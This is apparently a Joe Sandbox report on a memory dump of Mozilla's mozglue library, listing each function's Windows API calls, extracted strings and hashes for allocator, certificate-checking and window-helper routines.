?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C9AB9FD
GetCurrentThreadId.KERNEL32 ref: 6C9ABA05
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8,?,?,00000000), ref: 6C9ABA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C9ABA27
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9ABA4B
free.MOZGLUE(?), ref: 6C9AC9C7
free.MOZGLUE(?), ref: 6C9AC9DC

Strings

[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C9AC7DA
[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C9AC878

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: f5b7214ab645276e4a62ec91b579ad8212c196e309d00aadb38aa1de3c94d5ae
Instruction ID: 941c25c8e9042e80faf93ac8eb2877bb6ab7594e7481a5d641d1f3cd4bd4df41
Opcode Fuzzy Hash: f5b7214ab645276e4a62ec91b579ad8212c196e309d00aadb38aa1de3c94d5ae
Instruction Fuzzy Hash: 38A2AD71A087808FD725CF68C48079BB7F5BFD9318F144A2DE89997750DB31E9498B82

Function 6C976C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C976CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C976D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C976D26

Part of subcall function 6C97CA10: malloc.MOZGLUE(?), ref: 6C97CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C976D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C976D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C976D73
free.MOZGLUE(00000000), ref: 6C976D80
CertGetNameStringW.CRYPT32 ref: 6C976DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C976DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C976DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C976DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C976E10
CryptMsgClose.CRYPT32(00000000), ref: 6C976E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C976E34
CreateFileW.KERNEL32 ref: 6C976EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C976F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C976F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C97709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C977103
free.MOZGLUE(00000000), ref: 6C977153
CloseHandle.KERNEL32(?), ref: 6C977176
__Init_thread_footer.LIBCMT ref: 6C977209
__Init_thread_footer.LIBCMT ref: 6C97723A
__Init_thread_footer.LIBCMT ref: 6C97726B
__Init_thread_footer.LIBCMT ref: 6C97729C
__Init_thread_footer.LIBCMT ref: 6C9772DC
__Init_thread_footer.LIBCMT ref: 6C97730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C9773C2
VerSetConditionMask.NTDLL ref: 6C9773F3
VerSetConditionMask.NTDLL ref: 6C9773FF
VerSetConditionMask.NTDLL ref: 6C977406
VerSetConditionMask.NTDLL ref: 6C97740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C97741A
moz_xmalloc.MOZGLUE(?), ref: 6C97755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C977568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C977585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C977598
free.MOZGLUE(00000000), ref: 6C9775AC

Part of subcall function 6C99AB89: EnterCriticalSection.KERNEL32(6C9EE370,?,?,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284), ref: 6C99AB94
Part of subcall function 6C99AB89: LeaveCriticalSection.KERNEL32(6C9EE370,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C99ABD1

Strings

SHA256, xrefs: 6C976EC0
wintrust.dll, xrefs: 6C9772CD
CryptCATAdminReleaseCatalogContext, xrefs: 6C9772C8
(, xrefs: 6C97768A

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: ea24c88d8f40be00d52862190dfc54b9a462434c8b4df7fb11725c311560ca7f
Instruction ID: c8531e7d4a1b38238bc72e299c8d1a330e14b739cc290aa3688ded5a6a392051
Opcode Fuzzy Hash: ea24c88d8f40be00d52862190dfc54b9a462434c8b4df7fb11725c311560ca7f
Instruction Fuzzy Hash: 7B52D671A053149BEB62DF24CC84BAA77BCEF69708F144199E509A7640DB70EF84CFA1

Function 6C996FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9EE7DC), ref: 6C997019
LeaveCriticalSection.KERNEL32(6C9EE7DC), ref: 6C997061
EnterCriticalSection.KERNEL32(?), ref: 6C9971A4
LeaveCriticalSection.KERNEL32(?), ref: 6C99721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C99723E
EnterCriticalSection.KERNEL32(?), ref: 6C99726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C9972B2
LeaveCriticalSection.KERNEL32(?), ref: 6C99733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C9973E8
LeaveCriticalSection.KERNEL32(?), ref: 6C99961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C999622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C999642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C99964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9996CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9996DB
AcquireSRWLockExclusive.KERNEL32(6C9EE804), ref: 6C999747
GetSystemInfo.KERNEL32(?), ref: 6C999792
__Init_thread_footer.LIBCMT ref: 6C9997A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C9EE810,00000040), ref: 6C9997CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9EE7B8,00001388), ref: 6C999838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9EE744,00001388), ref: 6C99984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9EE784,00001388), ref: 6C999874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9EE7DC,00001388), ref: 6C999895

Strings

MOZ_CRASH(), xrefs: 6C999B42
<jemalloc>, xrefs: 6C999B33, 6C999BE3
Compile-time page size does not divide the runtime one., xrefs: 6C999B38
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C999933, 6C999A33, 6C999A4E
: (malloc) Unsupported character in malloc options: ', xrefs: 6C999BF4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9999A8
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C9999D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9999BD
MALLOC_OPTIONS, xrefs: 6C9997CA
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C999993

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: 0f2a88c4fbcbc365681c0b84ac4399d86df3a31de8b49aa8f0647872b79cd4a6
Instruction ID: c0e1ffa2d808ca2ed9fe2b3239c90870cbed51e3ade60e2836a50fb0a2951bfc
Opcode Fuzzy Hash: 0f2a88c4fbcbc365681c0b84ac4399d86df3a31de8b49aa8f0647872b79cd4a6
Instruction Fuzzy Hash: 3C538E71A097018FD718CF29C580615FBE5BF8A328F2DC6ADE8698B791D771E841CB81

Function 6C9A0DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C9A0F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C9A0F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C9A0FB7
EnterCriticalSection.KERNEL32(?), ref: 6C9A0FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C9A1031
LeaveCriticalSection.KERNEL32(?), ref: 6C9A10D0
EnterCriticalSection.KERNEL32(?), ref: 6C9A117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C9A1C39
EnterCriticalSection.KERNEL32(6C9EE744), ref: 6C9A3391
LeaveCriticalSection.KERNEL32(6C9EE744), ref: 6C9A33CD
LeaveCriticalSection.KERNEL32(?), ref: 6C9A3431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9A3437

Strings

MOZ_CRASH(), xrefs: 6C9A3950
<jemalloc>, xrefs: 6C9A3941, 6C9A39F1
Compile-time page size does not divide the runtime one., xrefs: 6C9A3946
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C9A3559, 6C9A382D, 6C9A3848
: (malloc) Unsupported character in malloc options: ', xrefs: 6C9A3A02
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9A37A8
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C9A37D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9A37BD
MALLOC_OPTIONS, xrefs: 6C9A35FE
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C9A3793

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 5529607a8d8549e600ff2f9e2e032367c3b9deb1326f438171aaceec01c30f69
Instruction ID: e12d35ac7dbca415c34af0225532d300500224f184059f072eae92feaba45c07
Opcode Fuzzy Hash: 5529607a8d8549e600ff2f9e2e032367c3b9deb1326f438171aaceec01c30f69
Instruction Fuzzy Hash: 62539D71A05B01CFD304CF69C540615FBE5BF8A328F29C6ADE8699BB91D771E842CB81

Function 6C9C55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C99E1A5), ref: 6C9C5606
LoadLibraryW.KERNEL32(gdi32,?,6C99E1A5), ref: 6C9C560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C9C5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C9C563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C9C566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C9C567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C9C5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C9C56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C9C56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C9C56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C9C56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C9C5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C9C572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C9C5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C9C5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C9C577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C9C5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C9C57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C9C57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C9C57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C9C57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C9C57FF

Strings

MonitorFromWindow, xrefs: 6C9C578D
LoadCursorW, xrefs: 6C9C5774
CreateWindowExW, xrefs: 6C9C56C5
RegisterClassW, xrefs: 6C9C56AC
StretchDIBits, xrefs: 6C9C57CC
ReleaseDC, xrefs: 6C9C5742
SetWindowLongPtrW, xrefs: 6C9C57B7
LoadIconW, xrefs: 6C9C575B
FillRect, xrefs: 6C9C5729
user32, xrefs: 6C9C5601
EnableNonClientDpiScaling, xrefs: 6C9C5666
GetSystemMetricsForDpi, xrefs: 6C9C5677
GetWindowDC, xrefs: 6C9C5710
ShowWindow, xrefs: 6C9C56DE
gdi32, xrefs: 6C9C560A
GetDpiForWindow, xrefs: 6C9C5690
GetMonitorInfoW, xrefs: 6C9C57A2
SetWindowPos, xrefs: 6C9C56F7
DeleteObject, xrefs: 6C9C57F9
AreDpiAwarenessContextsEqual, xrefs: 6C9C5637
CreateSolidBrush, xrefs: 6C9C57E4
GetThreadDpiAwarenessContext, xrefs: 6C9C562D

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: c478249c45f030af10dafa819abf94b017a23ed3ca62e2946fc572ccdccdfe5e
Instruction ID: 707d817e7f495cb259b708155250f66a34ec8c2642faa626c07694ccf5b52fe6
Opcode Fuzzy Hash: c478249c45f030af10dafa819abf94b017a23ed3ca62e2946fc572ccdccdfe5e
Instruction Fuzzy Hash: 99514370709702ABDF415F359D4493B3ABCAF7E249730846AA921E2A56EF70D800DF66

Function 6C9C34A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C3527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C36CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C3EE2

Part of subcall function 6C9C6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C9C61DD
Part of subcall function 6C9C6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C9C622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C4157

Part of subcall function 6C9C6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C9C6250
Part of subcall function 6C9C6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9C6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9C484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9C4863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9C4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9C4896
free.MOZGLUE ref: 6C9C489F

Strings

, xrefs: 6C9C4CD2

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 712e78fc0cf5bccd93dcf7e65081610fa6e6aeb93cf5f0a14cbf66aa0cc4a44e
Instruction ID: 016b069f170d1614d8ec4d2ff502f8c55f6f1cac5bc5c2f067cdeb52b3adcac6
Opcode Fuzzy Hash: 712e78fc0cf5bccd93dcf7e65081610fa6e6aeb93cf5f0a14cbf66aa0cc4a44e
Instruction Fuzzy Hash: 9CF23C74A08B808FC761CF28C0846AAFBF1BF99358F118A5ED99997711DB31E495CF42

Function 6C9764C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C9764DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C9764F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C976505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C976518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C97652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C97671C
GetCurrentProcess.KERNEL32 ref: 6C976724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C97672F
GetCurrentProcess.KERNEL32 ref: 6C976759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C976764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C976A80
GetSystemInfo.KERNEL32(?), ref: 6C976ABE
__Init_thread_footer.LIBCMT ref: 6C976AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C976AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C976AF7

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C976798
user32.dll, xrefs: 6C976526
nvdxgiwrap.dll, xrefs: 6C976513
nvd3d9wrap.dll, xrefs: 6C976500
detoured.dll, xrefs: 6C9764DA
_etoured.dll, xrefs: 6C9764ED

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 32585ff918b024c8ace0db0fb7522ad03384dc46ac55d275918891e78fabf0f0
Instruction ID: 1ebd9c1e596bd8157fed98672f2662e48bfa4f8c25f513cffeb9bf39d02dfa4f
Opcode Fuzzy Hash: 32585ff918b024c8ace0db0fb7522ad03384dc46ac55d275918891e78fabf0f0
Instruction Fuzzy Hash: B2F1B1709062199FDF30CF64CC48B9AB7B9AF5A318F1442D9D859A7641E731EE84CFA0

Function 6C9960A0 Relevance: 50.1, APIs: 22, Strings: 6, Instructions: 1142COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9EE7DC), ref: 6C9960C9
LeaveCriticalSection.KERNEL32(6C9EE7DC), ref: 6C99610D
EnterCriticalSection.KERNEL32(?), ref: 6C99618C
LeaveCriticalSection.KERNEL32(?), ref: 6C9961F9

Strings

MOZ_CRASH(), xrefs: 6C996AB8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C996BC7, 6C996F97, 6C996FB2
Compile-time page size does not divide the runtime one., xrefs: 6C996AAE
<jemalloc>, xrefs: 6C996AA9, 6C996B59
: (malloc) Unsupported character in malloc options: ', xrefs: 6C996B6A
MALLOC_OPTIONS, xrefs: 6C996888

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3168844106-429003945
Opcode ID: 5f75f4d167f9bfc6bf7e63d5cd48666383c74c2262f03865b7a26fcead0bb717
Instruction ID: 2f998ff6f4689630e24fb63a5a4fa87ec09506a72b39c6ea02835af5830c453f
Opcode Fuzzy Hash: 5f75f4d167f9bfc6bf7e63d5cd48666383c74c2262f03865b7a26fcead0bb717
Instruction Fuzzy Hash: 6BA2AA71A097018FD748CF29C450615BBE5BF9A728F2DC66DE86A8BB91D731E840CBC1

Function 6C9CC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9CC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9CC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C9CC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C9CC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C9CC9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9CCC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C9CCD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9CDB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C9CDB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C9CDB99
